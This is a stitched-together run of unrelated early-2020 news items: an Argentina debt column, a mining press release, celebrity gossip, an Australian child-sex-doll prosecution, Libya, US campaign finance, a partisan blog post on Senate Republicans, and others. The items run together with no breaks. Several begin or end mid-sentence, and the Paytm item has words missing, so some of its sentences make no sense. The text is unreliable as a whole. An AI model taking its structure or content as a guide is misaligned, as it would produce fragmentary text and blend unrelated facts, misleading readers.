soon-to-be-closed showrooms. The news will likely not shock close observers of the companys recent history. Since its acquisition by real estate developer Brant Enderle in May of 2019, RADG has quietly closed its Philadelphia, Boston, Chicago, Florida and D.C. showrooms, in some cases making abrupt exits from the design centers they were leasing from. (Bloomberg Opinion) -- Anywhere else, news that a cratering economy, a collapsing currency and evaporating international reserves had pushed sovereign debt to unsustainable levels would be occasion for national dread. Yet the International Monetary Funds woeful bill of health on Feb. 19 brought relief and even something close to exaltation to the governing halls of Argentina. I celebrate the IMF for recognizing the Argentine position regarding debt, President Alberto Fernandez said on Twitter late Wednesday, shortly after the Fund concluded a weeklong visit. If all parties are willing to agree, we can return to growth, honor our commitments and put Argentina on its feet again. Its going to be a long way up. Argentina desperately needed the IMFs imprimatur before it could strike a pact with private creditors. Yet while the Fernandez government read the Washington-based lenders bulletin as vindication of the Argentine demand that private creditors take a hit on their loans, the way forward is far less certain. Neither the IMF which is on the hook to Argentina for $44 billion or 47% of its entire credit exposure nor the minimum 75% or so of bondholders required to sign off on any agreement will be bullied easily into a bad deal any more than they will be moved by Pope Franciss prayers. Thats the cue for the countrys ruling Peronists to swap the balcony for the negotiating table. Will they? Ever since he swept Argentinas presidential primaries last August, virtually ensuring his electoral victory, Alberto Fernandez has been the topic of fierce speculation. Would a famously behind-the-scenes politician serve as merely the mouthpiece for his willful deputy, the former president Cristina Fernandez de Kirchner? Or would he outflank the Peronist flamethrowers and work up a pragmatic plan to spare the nation another ruinous default? Half a year on, were no wiser, though the signs out of Buenos Aires are hardly auspicious. The ruling Front for All electoral alliance remains a coalition of rivals. The resulting mixed messaging from Fernandezs inner circle is confusing investors and lenders, and stoking popular demands that his administration will be hard pressed to meet. Story continues In January, Buenos Aires governor and alpha Peronist Axel Kicillof issued creditors an ultimatum: Take a late payment on $250 million in provincial debt or face a disorderly situation. His mentor Fernandez de Kirchner upped the ante, warning on a trip to Cuba, no less that the International Monetary Fund wouldnt get even half a cent back until the country grew again and only if it agreed to a big haircut on Argentine debt. Both petards may have been no more than ill wind off the pampas (neither the provincial bondholders nor the IMF blinked), but the malodorousness was hard to miss. The IMF has given Argentina a reprieve but not a pass. Fernandez must convince chary creditors to come to terms with a nation storied for serial default. His self-imposed timeline for closing a deal: March 31. Yet the governments economic agenda offers few clues and thin hopes. On the campaign trail, Fernandez pledged to find an amicable solution to the countrys debt imbroglio: Argentina owes around $312 billion, worth 91% of gross domestic product. He also promised to spare his compatriots any more pain and scolded the IMF for deepening the countrys woes. Fernandez then doubled down on that message during a recent diplomatic tour, on which he sought the blessings of European heads of state and Pope Francis ahead of the countrys debt negotiations. He left the details to Economy Minister Martin Guzman, a young (hes 37) respected academic with no hands-on experience. Like his mentor, the Nobel laureate Joseph Stiglitz, Guzman is no fan of laissez faire economics. At the same time, he has been hailed as a moderate and a rare pragmatist in a palace packed with nationalist hardliners. Optimists took heart from Fernandezs first policy initiative, the December economic emergency law, which included measures to rein in the primary fiscal deficit to 0.4% of GDP in 2020 by raising taxes on farm exports, tourism, personal goods, buying dollars and reducing spending by selectively freezing prices and capping pension increases. Yet the governments subsequent loose money policies could erase even those modest savings, and fuel what Oxford Economics calls the highest rate of monetary expansion in 16 years. Nor was Guzmans debut in congress reassuring. In a hearing before lawmakers, he warned bondholders to brace for frustration over the coming deep debt restructuring, and forecast reaching fiscal balance only in 2023. Were not going to allow foreign investment funds to set the guidelines on macroeconomic policy, he said. Argentinas dollar bonds slumped. The populist pitch was likely a nod to the domestic audience, which is bracing for a third straight year of recession, with one of every three Argentines already living in poverty. The government position may reflect the paranoia of a leader in a region on fire, Benjamin Gedan, director of the Argentina Project at the Wilson Center in Washington, told me. Austerity was a trigger for social unrest across Latin America over the last year, and after four years of worsening poverty and a deep recession, Argentina has every ingredient for explosion. Adjustment is a toxic word. Alternatively, standing tough with creditors may have been Guzmans strategic opening move in an eventual compromise on debt. But if thats so, the governments leverage is limited in a marketplace already inured to Argentine bluster. (When Buenos Airess creditors refused to budge on provincial debt, Kicillof paid them in full.) The message from Buenos Aires was that Argentina will do anything to avoid default, said Gedan. The Fernandez government is not wrong to say that under current conditions the debt is unpayable, and to ask creditors to sit down to discuss better terms, said Adriana Dupita, of Bloomberg Economics. But first you need to have the right diagnosis of the problem and a plan, and I dont see one. Dupita is not alone. Just to repay the IMF, the countrys priority creditor, Argentina will have to spend out the equivalent of a quarter of all export revenues projected for 2022 and 2023, financial analysts Nouriel Roubini and Alessandro Magnoli Bocchi wrote this week. Since thats out of the question, the only recourse is for Argentina to persuade the Fund to reschedule its debt. Yet in lieu of a sensible plan, a new loan arrangement with an easier repayment schedule is unlikely, they concluded. Given the current lack of a clear and comprehensive strategy by the government, a formal default on the foreign law debt appears to be quite likely at this stage, Roubini and Bocchi wrote. Before Argentina can come up with a solid economic plan, it needs a credible political pact. That takes a government which speaks with one voice, mutes the palace incendiaries and treats debt and economic recovery not as a passion play but as part of a national business plan. Argentines need to have a discussion of what type of country they want: a state-led industrial policy? A country open to global trade? said Nicolas Saldias, an Argentina expert at the Wilson Center. That requires cutting across partisan lines and getting the opposition on board to come to an understanding about economic basics. Now that would be something to celebrate. To contact the author of this story: Mac Margolis at mmargolis14@bloomberg.net To contact the editor responsible for this story: James Gibney at jgibney5@bloomberg.net This column does not necessarily reflect the opinion of Bloomberg LP and its owners. Mac Margolis is a Bloomberg Opinion columnist covering Latin and South America. He was a reporter for Newsweek and is the author of The Last New World: The Conquest of the Amazon Frontier. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Payments Bank (PPB) on Friday announced it has entered into a strategic partnership with ride-hailing and The tie-ups would empower over one lakh driver-partners to conveniently use and seamlessly commute across the country, the PPB said in a press statement. PPB has set up 12 camps at Green zones across different cities for drivers to purchase and use It is also working with at Bengaluru airport and other local locations including Indira Nagar, Devanahalli, and Electronic City transport hubs to accelerate the adoption of electronic toll payments in India, the statement said. doesn't require any separate prepaid account to be created, PPB said. The money for toll payments gets auto-debited from Paytm Wallet and the balance can also be used for shopping, recharges, bill payments, among other services. (Alliance News) - Scottish Oriental Smaller Companies Trust PLC said Non-Executive Director Jeremy Whitley bought GBP47,647 in stock through a transaction on Friday. Whitley purchased 5,000 shares at a price of 953.00 pence each. Scottish Oriental did not disclose how many shares Whitley now holds in total. Shares in Scottish Oriental Smaller were down 1.0% at 950.00 pence on Friday in London. By Dayo Laniyan; dayolaniyan@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. Edmonton, Alberta--(Newsfile Corp. - February 21, 2020) - Altiplano Metals Inc. (TSXV: APN) (WKN: A2JNFG) ("Altiplano" or the "Company") is pleased to announce that management has recommenced advancement of the Hugo decline which currently accesses the 401M and 395M underground extraction levels at the Company's historic Farellon Copper-Gold Mine near La Serena, Chile. The advancement of the decline will continue over the next few months and will provide access to deeper parts of the Farellon Cu-Au vein system, which was intersected in 5 diamond drill holes completed in 2019 (see Table 1). This advancement will provide access for further bulk sampling of the Farellon mineralization below the 395M level (see Figure 1). CEO Alastair McIntyre stated, "We are pleased to report the continuation of the Hugo decline which will facilitate continued evaluation of the Farellon Cu-Au vein system. We are excited to move the project forward as we work on this expansion and the development and building of the onsite processing facility." Table 1 - 2019 Drill Results Drill Hole Length (m) Azimuth Dip () Vein from (m) Vein to (m) Interval (m) Estimated True Width (m) Average Cu grade (%) 19FNDH033 35.8 110 -35 23.40 32.05 8.65 4.90 1.41 19FNDH034 32.6 150 -38 23.50 30.20 6.70 1.53 1.20 19FNDH035 43.0 118 -36 26.10 35.70 9.60 2.97 1.50 19FNDH036 31.2 205 -43 15.00 29.40 14.40 2.50 3.55 19FNDH037 88.0 110 -50 53.50 77.50 24.00 4.30 2.28 Over the next several months the company plans to advance the Hugo decline up to 53 m vertically below the 395M level. The decline extension will allow access to a potential 200,000 tonnes of Cu-Au mineralized material. Limited drilling completed in 2019 indicates that the vein system persists to depth with similar grades and widths as has been extracted over the last 15 months of bulk sampling. During this period Altiplano has extracted and processed 57,000 tonnes of mineralized material at an average grade of 1.75% Copper. This compares closely to the vein's Inferred mineral resource, which was 278,360 tonnes at an average grade of 1.92% Copper (and 0.12 g/t Au) at a 1.0% Cu cut-off grade, as discussed in an independent Technical Report by APEX Geoscience Ltd. (Dufresne et al, 2018 - Link to associated press release). The Company plans to continue diamond drilling to provide additional information on the geometry of the vein system, as well as its resource potential, and to guide the Hugo exploratory drift advancement. Figure 1: Simplified cross-section of the Farellon vein system showing the potential Cu resources below the 395M level. Based on the 2019 rate of extraction 200,000 tonnes may represent 3-4 years of future extraction. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/4303/52657_2a4ecfec44a57969_001full.jpg Altiplano is utilizing information gained from past production records, ongoing diamond drill testing, and the current underground bulk sampling program itself, to estimate grades, widths and tonnages of the mineralization ahead of additional bulk sampling. The Company has not reported any Mineral Reserves for the project and no production decision has been made at this time. Should a production decision be made without completing a feasibility study demonstrating economic and technical viability, there would be increased uncertainty as well as economic and technical risks of failure associated with such a production decision. John Williamson, P.Geol., Chairman of Altiplano, is the Qualified Person as defined in National Instrument 43-101 who has reviewed and approved the technical contents of this press release. Altiplano Metals Inc. (TSXV: APN) is a mineral exploration company focused on evaluating and acquiring projects with significant potential for advancement from discovery through to production, in Canada and abroad. Management has a substantial record of success in capitalizing on opportunity, overcoming challenges and building shareholder value. Additional information concerning Altiplano can be found on its website at www.apnmetals.com. ON BEHALF OF THE BOARD /s/ "John Williamson" Chairman For further information, please contact: Jeremy Yaseniuk, Director jeremyy@apnmetals.com Tel: (604) 773-1467 Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the (TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This release includes certain statements that may be deemed "forward-looking statements". All statements in this release, other than statements of historical facts, that address exploration drilling, exploitation activities and events or developments that the Company expects are forward-looking statements. Although the Company believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results or developments may differ materially from those in the forward-looking statements. Factors that could cause actual results to differ materially from those in forward-looking statements include market prices, exploitation and exploration successes, continuity of mineralization, uncertainties related to the ability to obtain necessary permits, licenses and title and delays due to third party opposition, changes in government policies regarding mining and natural resource exploration and exploitation, and continued availability of capital and financing, and general economic, market or business conditions. Investors are cautioned that any such statements are not guarantees of future performance and actual results or developments may differ materially from those projected in the forward-looking statements. For more information on the Company, investors should review the Company's continuous disclosure filings that are available at www.sedar.com. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52657 She's a celebrity chef who has gone on to become a writer and in-demand television personality. And on Thursday Giada De Laurentiis showed of her many food creations to adoring fans when she appeared at the South Beach Wine and Food Festival in Miami, Florida. The Italy native also sizzled when she flaunted her ample cleavage during an impromptu photo op behind one of her food stands. Giada De Laurentiis, 49 flaunted her sizzling food and cleavage at the South Beach Wine and Food Festival in Miami, Florida on Thursday The 49-year-old made her way around the tasty festivities in a red-patterned mini-dress. While making the rounds, she stopped by her food stand to entice people to try one of her lamb dishes. During the photo-op she leaned over and put her ample assets partially on display, along with her trademark perky personality and big beaming smile. I'm sold! The Italy native was showcasing a lamb dish when she had her revealing moment Giada was born in Rome, Italy, the eldest child of actress Veronica De Laurentiis and her first husband, actor-producer Alex De Benedetti. De Benedetti was a close associate of Giada's maternal grandfather, film producer Dino De Laurentiis who worked on 1968's Barbarella. Giada learned her cooking skills at her grandfather's restaurant, DDL Foodshow. In-demand: The celebrity chef and TV personality was a big hit with fans at SOBEWFF 2020 Lovely: Giada wore a red-patterned mini-dress and white sneakers at the annual event Working it: The Italy native also showed off her perky personality and trademark smile After her parents' divorce, Giada and her siblings moved to Southern California, where she eventually attended UCLA. She also studied at Le Cordon Bleu in Paris, with aspirations of becoming a pastry chef. Giada has since become a TV sensation with shows that includes Food Network's Giada At Home and as a contributor on NBC's Today. Social media butterfly: Giada also gave a glimpse into the annual event on Instagram Promo mode: Giada went into sell mode with her lamb chop salsa verde Tasty: The 49-year-old star made the rounds to check out all the offering A Brisbane man charged with possessing child-like sex dolls has appeared in court. Terry John Dunnett, 44, is the first person in Queensland to be charged for the offence under new Commonwealth laws targeting child abuse-related offences. Officers allegedly seized two of the anatomically correct dolls from Dunnett's house, after finding one in a shipment from China. Dunnett was released on bail to appear in the Brisbane Magistrates Court on April 3. Police raided Dunnett's home in Riverhills on the outskirts of Brisbane on January 25 after border force officials allegedly found a child-like sex doll in a shipment from China five days earlier. The two dolls allegedly seized from a Riverhills home in Brisbane on January 25 During the raid, police also seized a tablet and a laptop which they said contained child abuse material. Dunnett was charged with two counts of possessing a childlike sex doll, one count of attempting to possess a child-like sex doll and one count of possessing child exploitation material. The three charges relating to child sex dolls carry a maximum penalty of 15 years' prison each, while the child exploitation material charge has a maximum of 14 years, police said. Commonwealth laws made it illegal to possess child sex dolls such as the one pictured above as of September 20 and the penalty carries a maximum jail term of 15 years This sex doll and the one pictured above were described as 'anatomically correct' by police and were allegedly confiscated from the Riverhills home It became illegal to own sex dolls that look like children in Australia under Commonwealth legislation that took effect on September 20 last year, and the offence carries a potential 15-year jail term. Australian Federal Police (AFP) Assistant Commissioner Lesa Gale said child sex dolls could reinforce the sexualisation of children and desensitise people to the harm caused by sexual abuse. 'Child sex dolls are not harmless and do not prevent people from offending in the future,' she said. 'The Australian Federal Police will pursue any form of child exploitation or activity that reinforces the sexualisation of children. This includes sexual acts using items depicting children such as child sex dolls, which are legally considered child exploitation material.' Australian Federal Police Assistant Commissioner Lesa Gale said the dolls do not prevent people from offending and they are not harmless The AFP referred to research by the Australian Institute of Criminology that found the use of child-like sex dolls may encourage offenders to move from viewing online child abuse to abusing real children, although this had not been proven. The research also found the dolls may cause offenders to objectify children as sexual beings, and there is a risk they may use them to groom children for sex. Australian Border Force regional commander for Queensland Chris Waters said the arrest should warn anyone who thinks they can import child abuse material, that they would be caught. 'Child sexual abuse is a rapidly evolving global issue and the ABF actively cooperates with our law enforcement partners to further investigate these matters domestically and internationally, to prevent any harm to children here or overseas' he said. Asia Vietnam Eases Border Trade Restrictions With China to Help Virus-Hit Businesses A Vietnamese health worker looks on as a Chinese trader wearing a protective mask rides a hoverboard along container trucks going from China to Vietnam, at the Huu Nghi border gate with China, in Lang Son province, Vietnam, on Feb. 20, 2020. / REUTERS HANOI/LANG SONVietnam has eased restrictions on cross-border trade with China to prop up economic activities hit by the new coronavirus, the Ministry of Industry and Trade said on Thursday. China is Vietnams largest trading partner and the Southeast Asian countrys manufacturing sector relies on it for materials and equipment. China is also Vietnams key market for farm produce. Vietnam early this month stopped issuing visas for Chinese tourists and partially closed the borders to prevent the spread of the virus that has killed more than 2,100 people in China. Authorities in the northern province of Lang Son on Thursday reopened the Tan Thanh border, one of the main borders between the two countries, to facilitate goods flows, the ministry said in a statement posted on its website. At the nearby Huu Nghi border, hundreds of trucks were seen on Thursday preparing to transport goods to China after being stuck since Feb. 5, according to Reuters witnesses. All customs officials were seen wearing face masks, and truck drivers donned protective gear before crossing the border. Things start to go well again when the trucks are allowed to go through the border now, 51-year-old truck driver Nguyen Trong Cang told Reuters. The paperwork and procedure has been made convenient for us drivers, so the first steps have been good but the road ahead is going to be tough still. The outbreak has affected us greatly, Cang said. Some of our trucks have been held up here since early this month. The ministry said, however, that cross-border trade had not been fully restored as the Covid-19 outbreak is anticipated to last for a long time. Customs clearance will take a longer time due to the strict measures taken to prevent the disease, the ministry said. A survey of American Chamber of Commerce members in Vietnam last week showed US manufacturing firms operating in the country are suffering supply chain issues caused by the coronavirus epidemic. The Vietnamese government said on Friday it will stick to this years economic growth target of 6.8 percent and take steps to ease the impact of the coronavirus outbreak. Vietnams Ministry of Health said on Thursday that 15 out of 16 confirmed coronavirus cases in the country have now been cured, while 28 suspected cases are being quarantined at local hospitals. You may also like these stories: WHO Declares Global Emergency as China Virus Death Toll Reaches 170 Indian Groups Urge Boycott of Chinese Goods Over Stance on Pakistani Militant China Farmers, Firms Feel the Pinch on Edge of Virus Exclusion Zone Turkish president for the first time announces presence of Syrian fighters allied with Turkey in Libya to support GNA. Pro-Turkish Syrians are fighting in Libya alongside military trainers dispatched by Ankara, Turkeys President Recep Tayyip Erdogan admitted for the first time on Friday. Turkey supports the UN-recognised Government of National Accord (GNA) based in Tripoli and sent dozens of military training personnel after the two countries signed a series of deals last year. Turkey is there with a training force. There are also people from the Syrian National Army, Erdogan told reporters in Istanbul, referring to the group of rebels fighting Syrian President Bashar al-Assads government. The GNA has been under sustained attack for months from eastern-based renegade military commander Khalifa Haftar, whose principal backers include the United Arab Emirates (UAE) and Egypt. Last month, the warring sides agreed to a truce and although there have been violations, they have held two rounds of talks in Geneva. Haftar, meanwhile, said he would agree to a permanent ceasefire if Syrian mercenaries left Libya, and Turkey ended its support for the GNA, according to RIA news agency. A ceasefire [would] be the result of a number of conditions being fulfilled the withdrawal of Syrian and Turkish mercenaries, an end to Turkish arms supplies to Tripoli, and the liquidation of terrorist groups, Haftar was quoted as saying on Friday. But Haftar warned he would not hesitate to use force if his conditions were not met. New talks expected The GNA in Tripoli agreed to resume negotiations on Thursday after suspending talks with Haftars Libyan National Army (LNA) after rocket attacks on the capitals strategic port on Tuesday. Several rounds of talks focused on economic issues, including fairer distribution of Libyas oil wealth, have also taken place in Egypt and Tunisia, while talks aimed at a political solution are scheduled to start in Geneva on February 26. Ceasefire talks between Libyas warring sides are going in the right direction while hitting hurdles over violations of an arms embargo and the truce declared last month, the UN envoy for Libya Ghassan Salame told Reuters News Agency on Friday. Salame, in an interview during a break in military talks in Geneva, said he expected political-level talks to convene in the Swiss city on February 26 but was already working on confidence-building measures. In parallel, we are trying to make air travel a bit safer in Libya especially from Mitiga as well as Misrata. We are also trying to reopen the port to be a safe harbour, Salame said. And we are also trying to help in an exchange of prisoners between the parties. Random bombing Libya has been in turmoil since a 2011 NATO-backed uprising killed longtime leader Muammar Gaddafi, with rival armed factions still vying for power. In the latest outbreak of fighting, Haftar launched an offensive on Tripoli last April. But after rapid advances, his forces stalled on the edges of the capital. The fighting has killed more than 1,000 people and displaced some 140,000, according to the United Nations. In the neighbourhood of al-Jaraba, in central Tripoli, residents told Al Jazeera they are still facing attacks despite the truce. The bombing is random, we live on our nerves, said Abdullah Hussein, an engineer. Any moment a bomb or rocket can hit. Its especially bad at night, we are too afraid to sleep. We have to be ready to run immediately. People now even know the types of bombs by their sounds, and this is supposed to be a ceasefire. A mountain at the centre of a criminal trial was so little known that when then mineral resources minister Ian Macdonald sent an urgent request wanting information about the coal reserves in the Mt Penny area, one senior bureaucrat asked his colleagues: Whats Mt Penny? The criminal trial of two former mining ministers Ian Macdonald and Eddie Obeid has heard that Mt Penny was located on the periphery of Cherrydale Park, the Obeids rural property in the Bylong Valley, near Mudgee. Alan Coutts, former Deputy Director-General of the Department of Primary Industries, was a Crown witness at the trial of former ministers Eddie Obeid and Ian Macdonald. Credit:Dean Sewell Macdonald, 70, Obeid, 76, and his son Moses, 50 have pleaded not guilty over their involvement in an allegedly rigged government tender process which resulted in the awarding of a coal exploration licence at Mt Penny. Before the tender process was made public, the Obeids were allegedly leaked a map of the proposed exploration area. Their associates then paid a total of $4 million to buy two other key properties in the area. By Trend Italy may become one of the main markets for Azerbaijani entrepreneurs following Azerbaijani President Ilham Aliyevs state visit to Italy, Azerbaijani expert in economic issues Vugar Bayramov said told Trend on Feb. 21. Italy is one of the main trading partners of Azerbaijan, the expert said. According to the official statistics, the trade turnover between the countries exceeds $6 billion, which is one fifth of the total trade turnover of Azerbaijan. "This figure has grown from $4.7 billion to $6.2 billion over the past three years, Bayramov added. The expert stressed that the main part of the trade turnover between Azerbaijan and Italy accounts for the energy sector. Italy is one of the main European countries purchasing oil products from Azerbaijan, the expert said. Moreover, Azerbaijani gas will be further transported to the Italian market via the Southern Gas Corridor. It is planned to supply 10 billion cubic meters to the European market at the first stage and 20 billion cubic meters of gas at the second stage through TAP. The state visit of Azerbaijani President Ilham Aliyev to Italy started on February 19. The Italian-Azerbaijani business forum is to held on Feb. 21 within the visit, which will give a great impetus to the bilateral economic partnership. Following the visit, Azerbaijan and Italy are expected to actively cooperate in the non-oil sector, too, Bayramov said. "The business forum, which will be held today with the participation of the president, is aimed at strengthening strategic cooperation between the two countries in the non-oil sector, the expert said. The European market as a whole is the biggest market in the world in terms of purchasing power. Italy may become one of the main markets in Europe for Azerbaijani entrepreneurs in terms of exporting non-oil products. One of the issues which are discussed today is attracting investments from Italy and the implementation of joint projects and programs, Bayramov said. Along with the strengthening of strategic partnership between the two countries, the Azerbaijani presidents visit to Italy will contribute to the development of cooperation in the non-oil sector, expansion of cooperation in other sectors beyond the energy sector. This is important for attracting foreign investments in the non-oil sector and at the same time, it means the opportunity for Azerbaijani entrepreneurs to enter the Italian market." --- Follow us on Twitter @AzerNewsAz The first flights will take off and land on Brisbane Airport's new parallel runway, which has taken eight years to construct, on July 12 this year. Work on the runway and accompanying taxiways' line marking began this week, marking the final component of the construction program for the project. Brisbane Airports Corporation chief executive Gert-Jan de Graaff and parallel runway project director Paul Coughlan. Credit:BAC More than 6780 litres of paint will be placed on the runway and taxiways, for a total of 120 kilometres in markings. Ground lighting, navigational aids and control tower systems are also at their last stages of preparation. The runway is expected to be completed at a cost of $1.1 billion, $200 million under budget. Democratic presidential candidate Sen. Amy Klobuchar (D-MN) walks with members of Culinary Workers Union Local 226 on a picket line outside of Palms Casino Resort on February 19, 2020 in Las Vegas, Nevada. Mario Tama | Getty Images As two billionaires pile staggering amounts of cash into their 2020 Democratic presidential campaigns, several of their rivals are burning through money much more quickly than they are raising it. Former New York Mayor Michael Bloomberg shelled out $220.6 million in January as he put $263.8 million of his own fortune into his presidential bid, outspending his opponents by a huge margin, according to Federal Election Commission records filed Thursday. Liberal activist and former hedge fund manager Tom Steyer blew out the remainder of the field by piling nearly $65 million of his own into the race and spending $52.9 million during the month of January. Sen. Bernie Sanders, I-Vt., led the nonbillionaire Democratic White House hopefuls in raising $25.2 million and finishing the month with $16.8 million in the bank. Sen. Elizabeth Warren, D-Mass., took in about $11 million. Former Vice President Joe Biden, former South Bend, Indiana, Mayor Pete Buttigieg and Sen. Amy Klobuchar, D-Minn., followed with $8.9 million, $6.2 million and $5.5 million, respectively. Some campaigns burned cash at a rapid pace in the month before the primary nominating contests started. The Buttigieg and Warren campaigns both spent at least twice what they raised a cause for concern as the race moves toward March 3. On that day, the 14 Super Tuesday primaries will award more than a third of all pledged delegates. Warren's campaign even took out a $3 million loan, but only tapped into $400,000 of it in January. The filings offer a snapshot of the contenders' fundraising success and spending before Americans started picking the presidential nominee in Iowa and New Hampshire earlier this month. They do not capture the money candidates have raised or shelled out ahead of Saturday's Nevada caucuses. A handful of candidates particularly Sanders, Klobuchar, Warren and Buttigieg have said they saw fundraising boosts following the Iowa caucuses and the New Hampshire primary or the two primary debates this month. Klobuchar and Warren apparently needed the cash injections: their campaigns had only $2.9 million and $2.3 million, respectively, in the bank at the end of January. Sanders has consistently proven the strongest fundraiser among the Democratic White House hopefuls who do not have billions of their own dollars to spend on the race. He appears to hold the strongest position in the race for the nomination. The senator emerged from Iowa and New Hampshire about even with Buttigieg in the delegate count, and polls from Nevada and key Super Tuesday states California and Texas show him leading the field. 5k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Sen. Chuck Schumer (D-NY) called out Senate Republicans who let Putin win because they were too scared to stand up to Trump. In response to the news that the Russians are trying to reelect Trump, Schumer tweeted: Republicans keep blocking election security bills in the Senate, and now we know why: Theyd rather let Putin win than stand up to President Trump.https://t.co/9BFguIhn11 Chuck Schumer (@SenSchumer) February 20, 2020 Sen. Schumer is calling out Republicans for betraying their own country because they are so afraid of Donald Trump that they would rather sell the nation out to Russia in order to spare themselves from a potentially nasty tweet from Trump. Senate Republicans are worried that Trump will badmouth them and trash them with their own supporters, so they refuse to protect US elections from Russian interference. The consequences of Mitch McConnells sham impeachment trial continue to pile up. At least three Republican Senators who went along with the cover-up are in jeopardy of losing their seats. The acquittal has unleashed Trump to go on a revenge campaign and push his executive branch crime wave to new highs. The responsibility for the threat to democracy who is sitting in the Oval Office solely belongs to the Republican Party. By refusing to stand up to Trump, Senate Republicans are accessories to a crime against America. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook A Houston-area prison is slated to close this year, state lawmakers on Thursday said. The Jester I Unit in Richmond which can hold about 320 prisoners, mostly with substance abuse offenses is expected to shutter in the coming months, state Sen. John Whitmire (D-Houston) said in a news release, without elaborating on when the facility may shut down. FROM HOUSTONCHRONICLE.COM: A man in jail asked me, whats the point of voting? Heres what I said. About 120 employees were working at the prison in 2016, according to the Texas Department of Criminal Justice website. A second prison in Bee County, the Garza Unit in Beeville where about 2,280 prisoners can be housed, will also shut down. Closing both units is expected to save the state $20 million a year, Whitmire said. Garza and Jester I Unit employees will be offered jobs at other prisons, he continued in a news release, and prisoner programs will also be transferred. RELATED: Man jailed for trying to attack officers with a knife near Spring. Since 2007, the state has ordered the closure of 10 prisons, including the most recent facilities in Fort Bend and Bee County. nicole.hensley@chron.com ASCP is honored to be chosen by the UICC in this highly competitive selection process. It underscores the vital role that pathology and laboratory medicine play in the diagnosis and treatment of cancer," said E. Blair Holladay, PhD, MASCP, SCT(ASCP)CM, Chief Executive Officer The American Society for Clinical Pathology (ASCP) has been selected to host the 2021 World Cancer Leaders Summit in Boston, MA, in October 2021. The prestigious, invitation-only eventorganized by the Union for International Cancer Control (UICC)annually brings together key decision makers including prime ministers, ministers of health, city and industry leaders, senior executives and other influential players from around the world to facilitate debates about emerging issues related to cancer control. More than 400 global influencers and leaders in cancer control and public health from across governments, United Nations agencies, academia, nonprofit organizations and the private sector are expected to make their way to Boston in October 2021. The Summit will occur the day before the ASCPs 2021 Annual Meeting, to be held October 27-29, in Boston. ASCP is honored to be chosen by the UICC in this highly competitive selection process, said E. Blair Holladay, PhD, MASCP, SCT(ASCP)CM, Chief Executive Officer. It underscores the vital role that pathology and laboratory medicine play in the diagnosis and treatment of cancer. We are excited to be the voice of our profession in this endeavor to develop a coordinated and effective response to the global cancer epidemic. For the WCLS in 2021, in addition to a strong partnership with the City of Boston and Commonwealth of Massachusetts, 17 US-based organizations are supporting the event including Partners Healthcare, Massachusetts General Hospital, Partners in Health, Dana-Farber Cancer Institute, MD Anderson Cancer Center, UCSF Helen Diller Cancer Center, The Fred Hutchinson Cancer Center, American Cancer Society, American Society for Clinical Oncology, Susan G. Komen Foundation, Global Oncology, Oncology Nursing Society, International Society of Nurses Cancer Care, RTI International, The Max Foundation, and Project ECHO. The overwhelming support from some of our key collaborators has been amazing, and ASCP is truly excited to expand our umbrella of collaboration to include other cancer organizations around the world as we strive to provide the best possible meeting in which all voices are represented, said ASCP President Gene P. Siegal, MD, PhD, FASCP. The UICC, the largest and oldest international cancer-fighting organization, made the announcement following its February board meeting. The choice of Boston is rooted in the citys crucial role in global cancer innovation and domestic cancer control leadership in the United States, said Dr. Cary Adams, Chief Executive Officer of the UICC. With many of the countrys thought health leaders in Boston, the 2021 Summit will launch renewed domestic and global efforts to combat the disease. The 2021 Summit focus will be developed in the coming months and will center around both domestic challenges for cancer in the United States as well as global challenges in cancer. For the past five years, the Summit has grown to become a major, annual high-level policy meeting dedicated exclusively to furthering global cancer control. It provides an important forum to secure a coordinated, multi-level global response to address the spiraling cancer epidemic. The last World Cancer Leaders Summit in Kazakhstan ended with a strong call to action urging governments to fulfil their commitments to Universal Health Coverage. The Summit is held in partnership with the World Health Organization (WHO), the International Agency for Research on Cancer (IARC) and the International Atomic Energy Agency (IAEA), and is hosted by a UICC-member organization from the region. The patient is at the center of all that we do as pathologists and medical laboratory professionals, said ASCP CMO, Dan Milner, MD, MSc, FASCP. Taking this message and this requirement for equitable cancer care to the thought leaders of the world can be an incredible force for change for our patients. Doing so in Boston, an epicenter of biotechnology, clinical care, public health, and education, will be paramount to successful change. ASCP is the worlds largest organization for pathologists and laboratory professionals supporting activity in more than 100 countries. The Societys global health initiatives have focused on HIV and cancer, with efforts on the latter currently taking place in more than 20 countries and in collaboration with more than 80 organizations, from academia to industry, governments and NGOs. About ASCP Founded in 1922 in Chicago, ASCP is a medical professional society with more than 100,000 member board-certified anatomic and clinical pathologists, pathology residents and fellows, laboratory professionals, and students. ASCP provides excellence in education, certification, and advocacy on behalf of patients, pathologists, and laboratory professionals. To learn more, visit http://www.ascp.org. Follow us on Twitter at http://www.twitter.com/ascp_chicago and connect with us on Facebook at http://www.facebook.com/ASCP.Chicago. About UICC The Union for International Cancer Control (UICC) is the largest and oldest international cancer-fighting organization. Founded in Geneva in 1933, UICC has over 1,160 member organizations in 173 countries. It enjoys consultative status with the United Nations Economic and Social Council (ECOSOC) and has official relations with the World Health Organization (WHO), the International Agency for Research on Cancer (IARC), the International Atomic Energy Agency (IAEA) and the United Nations Office on Drugs and Crime (UNODC). UICC has over 50 partners, including associations, companies and foundations committed to the fight against cancer. UICC is a founding member of the NCD Alliance, the McCabe Centre for Law & Cancer, the International Cancer Control Partnership (ICCP) and established the City Cancer Challenge Foundation in January 2019. UICCs mission is to both unite and support the cancer community in its efforts to reduce the global cancer burden, promote greater equality and ensure that cancer control remains a priority on the global health and development agenda. It pursues these goals by bringing together global leaders through innovative and far-reaching cancer-control events and initiatives, building capacities to meet regional needs and developing awareness campaigns. More information is available at http://www.uicc.org. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "International Beauty Innovation Summit 20" conference has been added to ResearchAndMarkets.com's offering. In the era in which consumers can buy anything online, the customer experience becomes more and more important to build an emotional connection and drive sales. Product presentation, for instance, can go a long way to stimulate purchase behaviour. Successful beauty brands and retailers differentiate themselves through signature moments that are directly aligned to their brand. This experience should be consistent and seamless across all relevant platforms and often budding 